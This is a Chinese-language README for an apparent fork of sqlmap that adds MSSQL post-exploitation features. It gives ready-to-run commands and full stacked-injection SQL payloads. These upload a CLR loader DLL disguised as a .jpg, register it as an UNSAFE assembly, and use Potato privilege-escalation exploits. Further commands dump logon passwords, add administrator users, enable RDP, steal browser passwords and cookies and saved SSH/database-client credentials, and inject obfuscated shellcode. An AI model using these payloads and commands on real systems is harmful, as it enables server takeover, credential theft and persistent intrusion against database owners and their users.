sqlmap 是一款开源的 SQL 注入检测与利用工具,可自动完成数据库指纹识别、数据读取、文件系统访问以及数据库接管。
当前分支额外补充了 MSSQL 场景下的 OLE Automation 上传、CLR 程序集部署、CLR 结果集获取与命令执行能力,适合在支持堆叠注入的目标上直接完成 DLL 上传、程序集注册、命令执行与结果回显。
更多演示截图可查看 wiki:
推荐直接克隆当前仓库:
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
cd sqlmap-devsqlmap 可直接运行在 Python 2.7 和 Python 3.x 环境。
查看帮助:
python sqlmap.py -h
python sqlmap.py -hhURL 方式:
python sqlmap.py -u "http://target/vuln.php?id=1" -p id --batch --dbms=MSSQL原始请求方式:
python sqlmap.py -r request.txt --batch --dbms=MSSQL常见信息获取:
python sqlmap.py -r request.txt --batch --dbms=MSSQL --current-user --current-db --hostname当前分支在 MSSQL 写文件流程里优先尝试 OLE Automation 的 ADODB.Stream 方式,不依赖 xp_cmdshell。如果 OLE 失败,才会继续回退到 PowerShell、VBS、debug.exe、certutil.exe 等旧方案。
- 适用于支持堆叠注入的 MSSQL 目标。
--file-write时会优先走 OLE 上传。- GET / URI 注入点会自动探测可接受的请求长度,再决定 OLE 分块大小。
- POST / CUSTOM_POST 注入点默认使用
32768个 hex 字符一块,也就是16384字节一块。 - 终端模式下会每 5 秒刷新一次进度,并在每个分块完成后立即刷新;进度会尽量保持在同一行显示。
python sqlmap.py -r request.txt \
--batch \
--dbms=MSSQL \
--file-write="/tmp/beacon.dll" \
--file-dest="C:\\Windows\\Temp\\beacon.dll"运行时会看到类似日志:
[INFO] OLE 上传计划:分块大小 32768 个 hex 字符,23 次上传请求,0 次探测请求,合计约 24 次请求
OLE 上传进度: 7/23 块完成,当前 8/23,114688/369152 bytes (31.1%),耗时 15s
当前分支内置了 plugins/dbms/mssqlserver/ClrBadPotatoLoader.dll,并提供 3 个直接可用的参数:
--clr-install--clr-exec--clr-cleanup
执行 --clr-install 时,sqlmap 会按下面的顺序自动处理:
- 开启
show advanced options - 开启
clr enabled - 把当前数据库设为
TRUSTWORTHY ON - 开启
ole automation procedures - 尝试关闭
clr strict security - 通过 OLE 把本地
ClrBadPotatoLoader.dll上传到远端C:\Users\Public\clr.jpg - 清理旧的
[dbo].[ClrxnExec]、[dbo].[ClrxnQuery]和[ClrBadPotatoLoader] - 从远端文件路径创建程序集
- 注册
[dbo].[ClrxnExec]与[dbo].[ClrxnQuery]
安装示例:
python sqlmap.py -r request.txt --batch --dbms=MSSQL --clr-install--clr-exec 内部默认走 ClrxnQuery,不再按旧逻辑强行从 ClrxnExec 消息流里取结果。当前会自动兼容这几类返回:
- 普通文本结果集:
(LineNumber, OutputLine) CLR_ListDir原生结果集:(Name, Type, Size, LastWriteTime)CLR_ReadFile原生结果集:(HexData)
如果 CLR_ListDir 或 CLR_ReadFile 走到了异常/参数错误分支,sqlmap 会自动回退到文本结果集布局再取一次。
常用示例:
python sqlmap.py -r request.txt --batch --dbms=MSSQL --clr-exec="help"
python sqlmap.py -r request.txt --batch --dbms=MSSQL --clr-exec="CLR_GodPotato whoami"
python sqlmap.py -r request.txt --batch --dbms=MSSQL --clr-exec="CLR_ListDir C:\Windows\Temp"
python sqlmap.py -r request.txt --batch --dbms=MSSQL --clr-exec="CLR_ReadFile C:\Temp\payload.bin"执行 --clr-cleanup 时,sqlmap 会:
- 删除
[dbo].[ClrxnExec] - 删除
[dbo].[ClrxnQuery] - 删除程序集
[ClrBadPotatoLoader] - 通过 OLE 删除远端
C:\Users\Public\clr.jpg
清理示例:
python sqlmap.py -r request.txt --batch --dbms=MSSQL --clr-cleanup在 sqlmap 里统一使用:
python sqlmap.py -r request.txt --batch --dbms=MSSQL --clr-exec="<命令>"help
CLR_GodPotato whoami
CLR_BadPotato whoami
CLR_EfsPotato whoami
CLR_BadPotato <cmd>CLR_EfsPotato <cmd>CLR_GodPotato <cmd>
示例:
CLR_GodPotato whoami
CLR_EfsPotato cmd /c whoami /all
CLR_Inject <Base|Bad|God|Efs> <base64sc> <xorkey>CLR_InjectFile <Base|Bad|God|Efs> <filepath>
示例:
CLR_Inject Efs <base64sc> <xorkey>
CLR_InjectFile God C:\Temp\payload.bin
CLR_LogonPasswords <Bad|God|Efs>CLR_EnableRDP <Bad|God|Efs>CLR_AddUser <Bad|God|Efs> <user> <pass> <group>CLR_ToDesk <Bad|God|Efs>CLR_GhostKey <Bad|God|Efs> <finalshell|navicat|crt|xshell|moba> [path]CLR_Web <Bad|God|Efs> <all|chromium|firefox|ie> <all|pwd|cookie>CLR_GetAV
示例:
CLR_LogonPasswords Efs
CLR_EnableRDP God
CLR_AddUser Efs testuser P@ssw0rd Administrators
CLR_ToDesk God
CLR_GhostKey God navicat
CLR_GhostKey God xshell C:\Users\Administrator\Documents\NetSarang Computer\7\Xshell\Sessions
CLR_GhostKey God moba master=YourMasterPass
CLR_Web God chromium pwd
CLR_GetAV
说明:
CLR_LogonPasswords、CLR_EnableRDP、CLR_ToDesk、CLR_Web省略 mode 时默认走BadCLR_AddUser、CLR_GhostKey、CLR_Inject、CLR_InjectFile需要显式写 modemoba支持master=<pass>或<path>|<pass>两种附加参数格式
CLR_ListDir <path>CLR_ReadFile <path>CLR_WriteFile <path^hex>CLR_NewDir <path>CLR_Delete <path>
示例:
CLR_ListDir C:\Windows\Temp
CLR_ReadFile C:\Temp\payload.bin
CLR_WriteFile C:\Temp\test.txt^68656c6c6f20776f726c64
CLR_NewDir C:\Temp\demo
CLR_Delete C:\Temp\demo\test.txt
返回说明:
- 大多数命令通过
ClrxnQuery返回两列文本结果集:(LineNumber, OutputLine) CLR_ListDir成功时返回:(Name, Type, Size, LastWriteTime)CLR_ReadFile成功时返回:(HexData)ClrxnExec仍然保留给消息流输出;如果你在 SSMS / Navicat 手工执行,也可以直接EXEC dbo.ClrxnExec N'help'
如果直接用 sqlmap,本身就已经是一句话:
python sqlmap.py -r request.txt --batch --dbms=MSSQL --clr-install
python sqlmap.py -r request.txt --batch --dbms=MSSQL --clr-cleanup前提:ClrBadPotatoLoader.dll 已通过 OLE 上传到 C:\Users\Public\clr.jpg。
id=1';EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'clr enabled',1;RECONFIGURE;IF DB_NAME()!='master' BEGIN DECLARE @db NVARCHAR(258)=QUOTENAME(DB_NAME());EXEC('ALTER DATABASE '+@db+' SET TRUSTWORTHY ON'); END;EXEC sp_configure 'ole automation procedures',1;RECONFIGURE;EXEC sp_configure 'clr strict security',0;RECONFIGURE;IF EXISTS (SELECT * FROM sys.procedures WHERE name='ClrxnExec') DROP PROCEDURE [dbo].[ClrxnExec];IF EXISTS (SELECT * FROM sys.procedures WHERE name='ClrxnQuery') DROP PROCEDURE [dbo].[ClrxnQuery];IF EXISTS (SELECT * FROM sys.assemblies WHERE name='ClrBadPotatoLoader') DROP ASSEMBLY [ClrBadPotatoLoader];EXEC(N'CREATE ASSEMBLY [ClrBadPotatoLoader] FROM ''C:\Users\Public\clr.jpg'' WITH PERMISSION_SET=UNSAFE');EXEC(N'CREATE PROCEDURE [dbo].[ClrxnExec] @command NVARCHAR(MAX) AS EXTERNAL NAME [ClrBadPotatoLoader].[ClrBadPotatoLoader.StoredProcedures].[ClrxnExec]');EXEC(N'CREATE PROCEDURE [dbo].[ClrxnQuery] @command NVARCHAR(MAX) AS EXTERNAL NAME [ClrBadPotatoLoader].[ClrBadPotatoLoader.StoredProcedures].[ClrxnQuery]');--id=1';IF EXISTS (SELECT * FROM sys.procedures WHERE name='ClrxnExec') DROP PROCEDURE [dbo].[ClrxnExec];IF EXISTS (SELECT * FROM sys.procedures WHERE name='ClrxnQuery') DROP PROCEDURE [dbo].[ClrxnQuery];IF EXISTS (SELECT * FROM sys.assemblies WHERE name='ClrBadPotatoLoader') DROP ASSEMBLY [ClrBadPotatoLoader];BEGIN TRY DECLARE @fso INT,@exists INT;EXEC sp_OACreate 'Scripting.FileSystemObject',@fso OUT;IF @fso IS NOT NULL BEGIN EXEC sp_OAMethod @fso,'FileExists',@exists OUT,'C:\Users\Public\clr.jpg';IF @exists=1 EXEC sp_OAMethod @fso,'DeleteFile',NULL,'C:\Users\Public\clr.jpg',1;EXEC sp_OADestroy @fso;END END TRY BEGIN CATCH END CATCH--- 项目主页:https://sqlmap.org
- 项目仓库:https://github.com/sqlmapproject/sqlmap
- 使用手册:https://github.com/sqlmapproject/sqlmap/wiki
- 常见问题:https://github.com/sqlmapproject/sqlmap/wiki/FAQ
- 提交记录 RSS:https://github.com/sqlmapproject/sqlmap/commits/master.atom
- 问题跟踪:https://github.com/sqlmapproject/sqlmap/issues
- 演示视频:https://www.youtube.com/user/inquisb/videos
- 中文翻译版 README:
doc/translations/README-zh-CN.md

